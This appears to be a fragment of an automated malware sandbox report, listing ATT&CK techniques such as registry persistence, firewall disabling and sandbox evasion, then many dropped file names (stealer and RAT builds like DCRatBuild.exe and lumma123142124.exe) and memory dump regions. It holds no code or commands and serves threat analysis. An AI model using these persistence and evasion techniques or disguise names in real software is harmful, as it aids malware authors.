1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Modify Registry
4Virtualization/Sandbox Evasion
1Replay Monitor
Loading Replay Monitor...
Downloads
ContainerserverFontSavessession.exe
mfKYow52WThs6WxYPgYy8SvlAX398RVKTuVkRNatbU.vbe
vcwCtM23VtO7vZcBlCg44jyJmSVgI43HgFP0J6KvnQO3IbLY.bat
Assistenza Updater.exe
Are.docx
BAKFBKEH
FCFIEHCFIECBGCBFHIJJ
HDBKFHIJ
mozglue.dll
the-real-index
Network Persistent State
TransportSecurity
Preferences
Secure Preferences
Local State
persisted_first_party_sets.json
crypted_d786fd3e.exe.log
2[1]
5[1]
1[1]
additional_file0.tmp
opera_package
1981120061.exe
216382182.exe
2565728307.exe
274826858.exe
6nny8f82C5.bat
Install.exe
amdfendrsr.exe
bootim.exe
8B18.bat
FE714B.tmp
23.exe
Adobe_update.exe
AppGate2103v01.exe
Assistenza%20Launcher.exe
DCRatBuild.exe
Document.exe
EchoNavigator.exe
Eszop.exe
LoaderAVX.exe
Max.exe
Mtkfarukc.exe
NINJA.exe
Nzewxakqtk.exe
Pac-Man.exe
Pparetcoju.exe
Tdkdsxz.exe
Tinder%20Bot.exe
VLTKBacdau.exe
Vbnhtlkdfw.exe
XClient.exe
adm_atu.exe
afile.exe
alex12.exe
alex12341.exe
asas.exe
bc_memories_from_the_mcp.exe
boomlumma.exe
clp.exe
conhost.exe
cry.exe
crypted.exe
crypted_d786fd3e.exe
dsdasda.exe
e0cbefcb1af40c7d4aff4aca26621a98.exe
file300un-1.exe
flt_shovemydiscoupyourarse.exe
ghhjhjhsg.exe
ghjkl.exe
hack1226.exe
hv.exe
install.exe
jet.exe
jokerpos.exe
kb^fr_ouverture.exe
lumma123142124.exe
m.exe
ma.exe
martinvnc.exe
medcallaboratory5.exe
mk.exe
mysto.exe
new1.exe
npp.exe
redlinepanel.exe
s1.exe
stub.exe
svchost.exe
svcrun.exe
toolspub1.exe
trust12344.exe
twztl.exe
un300un.exe
well.exe
wininit.exe
yoffens_crypted_EASY.exe
Opera_installer_2404091037475627016.dll
Tmp74DA.tmp
__PSScriptPolicyTest_4ywloe3q.axo.ps1
injector.exe
ioloDMLog.txt
ioloDMLog.txt
7z.exe
u4ko.0.exe
u4ko.1.exe
76b53b3ec448f7ccdda2063b15d2bfc3_131bb638-7222-41ed-aa1f-695bd9371c22
76b53b3ec448f7ccdda2063b15d2bfc3_131bb638-7222-41ed-aa1f-695bd9371c22
settings.dat
TWO.exe
newss.exe
olehpsp.exe
traffic.exe
Microsoft Edge.lnk
4BFAzmJAwEPbj8ASpSg4jwsA.exe
8mXBmodugJPDnLhnqO6hTrPa.exe
BAapyq825I8kg4vszATHcvT4.exe
EJelxJHS0FhL0uxj7lMixzW2.exe
JIn0kvXDBi6vN085874GbQL_.exe
M42HgmNGqLaS_ZW4AAaOk7P0.exe
PaoTbcJ4BHOU23F248jfd_jT.exe
TnyDTZr7gTlg253sJ_KF_L8u.exe
UWC0u3LEbAx_nX2ybH3wsC6P.exe
Y8n3u8q_rOMutF8BFeNfX2c6.exe
YiWfYw37bggshkjaxkOxig7_.exe
YmCmBGB5gvtDK_j3duGAQPwy.exe
_bqJnycQc0XlOCzgx2h0T0yk.exe
bItVU8RqLq3SvPGxoCslv3J1.exe
kDv_GODbdPArwXjNcnZskqyj.exe
l87HrunAvbrU76sEDj8JJgI6.exe
oGDtNaIl69SRUhiiHJyXkaoW.exe
qM5Jv1oeE554n5DrAFBvWQGp.exe
48giLnesKjQieVHBmS6z7ixc.exe
MxZlD5lywW7Ha0OWQuFRfBfr.exe
PsspCrsiHRBkDREZBXjDe7Uu.exe
pZ5VqEn4aUe5U49GuEbV9Zhu.exe
pmuhd84aEXnYa0wRDnMqCcT3.exe
desktop.ini
tbnds.dat
tbnds.dat
tbtnds.dat
tbtnds.dat
Google Chrome.lnk
gpt.ini
memory/448-223-0x0000000004150000-0x0000000004558000-memory.dmp
memory/448-224-0x0000000004560000-0x0000000004E4B000-memory.dmp
memory/448-298-0x0000000000400000-0x00000000022E9000-memory.dmp
memory/448-231-0x0000000000400000-0x00000000022E9000-memory.dmp
memory/448-262-0x0000000000400000-0x00000000022E9000-memory.dmp
memory/1420-35-0x0000000074F50000-0x0000000075701000-memory.dmp
memory/1420-61-0x0000000005400000-0x0000000005410000-memory.dmp
memory/1420-1-0x00000000006E0000-0x00000000006E8000-memory.dmp
memory/1420-0-0x0000000074F50000-0x0000000075701000-memory.dmp
memory/1420-2-0x00000000051D0000-0x000000000526C000-memory.dmp
memory/1420-3-0x0000000005400000-0x0000000005410000-memory.dmp
memory/1548-733-0x0000000000400000-0x0000000000454000-memory.dmp
memory/2032-127-0x00007FF854BF0000-0x00007FF8556B2000-memory.dmp
memory/2032-117-0x00007FF8739F0000-0x00007FF8739F1000-memory.dmp
memory/2032-149-0x00007FF854BF0000-0x00007FF8556B2000-memory.dmp
memory/2032-128-0x00007FF8739C0000-0x00007FF8739C1000-memory.dmp
memory/2032-123-0x0000000002530000-0x000000000253E000-memory.dmp
memory/2032-95-0x00000000000D0000-0x00000000002C2000-memory.dmp
memory/2032-126-0x0000000002540000-0x000000000254E000-memory.dmp
memory/2032-99-0x00007FF854BF0000-0x00007FF8556B2000-memory.dmp
memory/2032-100-0x0000000000AC0000-0x0000000000AC1000-memory.dmp
memory/2032-101-0x0000000002560000-0x0000000002570000-memory.dmp
memory/2032-102-0x0000000002560000-0x0000000002570000-memory.dmp
memory/2032-103-0x00007FF873A10000-0x00007FF873A11000-memory.dmp
memory/2032-108-0x0000000002560000-0x0000000002570000-memory.dmp
memory/2032-107-0x0000000000B00000-0x0000000000B0E000-memory.dmp
memory/2032-110-0x00000000026C0000-0x00000000026DC000-memory.dmp
memory/2032-124-0x00007FF8739D0000-0x00007FF8739D1000-memory.dmp
memory/2032-121-0x00007FF8739E0000-0x00007FF8739E1000-memory.dmp
memory/2032-113-0x000000001BBA0000-0x000000001BBF0000-memory.dmp
memory/2032-112-0x00007FF873A00000-0x00007FF873A01000-memory.dmp
memory/2032-119-0x0000000000B10000-0x0000000000B1E000-memory.dmp
memory/2032-115-0x00000000026E0000-0x00000000026F8000-memory.dmp
memory/2560-519-0x0000029AD93D0000-0x0000029AD93E4000-memory.dmp
memory/2736-33-0x00007FF800030000-0x00007FF800031000-memory.dmp
memory/2736-28-0x00007FF7B9DD0000-0x00007FF7BA640000-memory.dmp
memory/2736-34-0x00007FF7B9DD0000-0x00007FF7BA640000-memory.dmp
memory/2736-120-0x00007FF873510000-0x00007FF873884000-memory.dmp
memory/2736-38-0x00007FF800000000-0x00007FF800002000-memory.dmp
memory/2736-116-0x00007FF875B80000-0x00007FF875D89000-memory.dmp
memory/2736-32-0x00007FF7B9DD0000-0x00007FF7BA640000-memory.dmp
memory/2736-111-0x00007FF873A20000-0x00007FF873ADD000-memory.dmp
memory/2736-96-0x00007FF7B9DD0000-0x00007FF7BA640000-memory.dmp
memory/2736-31-0x00007FF875B80000-0x00007FF875D89000-memory.dmp
memory/2736-37-0x00007FF873510000-0x00007FF873884000-memory.dmp
memory/2736-40-0x00007FF7B9DD0000-0x00007FF7BA640000-memory.dmp
memory/2736-39-0x00007FF7B9DD0000-0x00007FF7BA640000-memory.dmp
memory/2736-30-0x00007FF873A20000-0x00007FF873ADD000-memory.dmp
memory/2736-41-0x00007FF7B9DD0000-0x00007FF7BA640000-memory.dmp
memory/2736-29-0x00007FF873A20000-0x00007FF873ADD000-memory.dmp
memory/2736-42-0x00007FF7B9DD0000-0x00007FF7BA640000-memory.dmp
memory/2736-36-0x00007FF7B9DD0000-0x00007FF7BA640000-memory.dmp
memory/2796-471-0x0000000000400000-0x0000000000592000-memory.dmp
memory/2804-539-0x0000000000400000-0x00000000022E9000-memory.dmp
memory/2804-616-0x0000000000400000-0x00000000022E9000-memory.dmp
memory/2804-372-0x0000000000400000-0x00000000022E9000-memory.dmp
memory/3680-183-0x000000001B640000-0x000000001B650000-memory.dmp
memory/3680-208-0x00007FF8739F0000-0x00007FF8739F1000-memory.dmp
memory/3680-181-0x00007FF854BF0000-0x00007FF8556B2000-memory.dmp
memory/3680-182-0x0000000002940000-0x0000000002941000-memory.dmp
memory/3680-192-0x000000001B640000-0x000000001B650000-memory.dmp
memory/3680-201-0x000000001B640000-0x000000001B650000-memory.dmp
memory/3680-199-0x00007FF873A10000-0x00007FF873A11000-memory.dmp
memory/3680-235-0x000000001B640000-0x000000001B650000-memory.dmp
memory/3680-211-0x00007FF8739C0000-0x00007FF8739C1000-memory.dmp
memory/3680-212-0x00007FF8739E0000-0x00007FF8739E1000-memory.dmp
memory/3680-203-0x00007FF873A00000-0x00007FF873A01000-memory.dmp
memory/3680-213-0x00007FF8739D0000-0x00007FF8739D1000-memory.dmp
memory/3680-225-0x00007FF854BF0000-0x00007FF8556B2000-memory.dmp
memory/4796-516-0x00007FF875B80000-0x00007FF875D89000-memory.dmp
memory/4972-371-0x0000000000400000-0x0000000000442000-memory.dmp
memory/5024-254-0x0000000006920000-0x000000000696C000-memory.dmp
memory/5024-240-0x00000000063C0000-0x0000000006426000-memory.dmp
memory/5024-233-0x00000000056E0000-0x00000000056F0000-memory.dmp
memory/5024-232-0x0000000074F50000-0x0000000075701000-memory.dmp
memory/5024-234-0x0000000003410000-0x0000000003446000-memory.dmp
memory/5024-236-0x0000000005D20000-0x000000000634A000-memory.dmp
memory/5024-238-0x0000000005910000-0x0000000005932000-memory.dmp
memory/5024-261-0x0000000006E60000-0x0000000006EA6000-memory.dmp
memory/5024-239-0x0000000005BC0000-0x0000000005C26000-memory.dmp
memory/5024-253-0x00000000068E0000-0x00000000068FE000-memory.dmp
memory/5024-249-0x0000000006430000-0x0000000006787000-memory.dmp
memory/5748-668-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-674-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-666-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-661-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-652-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-641-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-642-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-646-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-670-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-731-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-677-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-682-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-692-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-695-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-699-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-704-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-710-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-716-0x0000000005D00000-0x00000000061AB000-memory.dmp
memory/5748-727-0x0000000005D00000-0x00000000061AB000-memory.dmp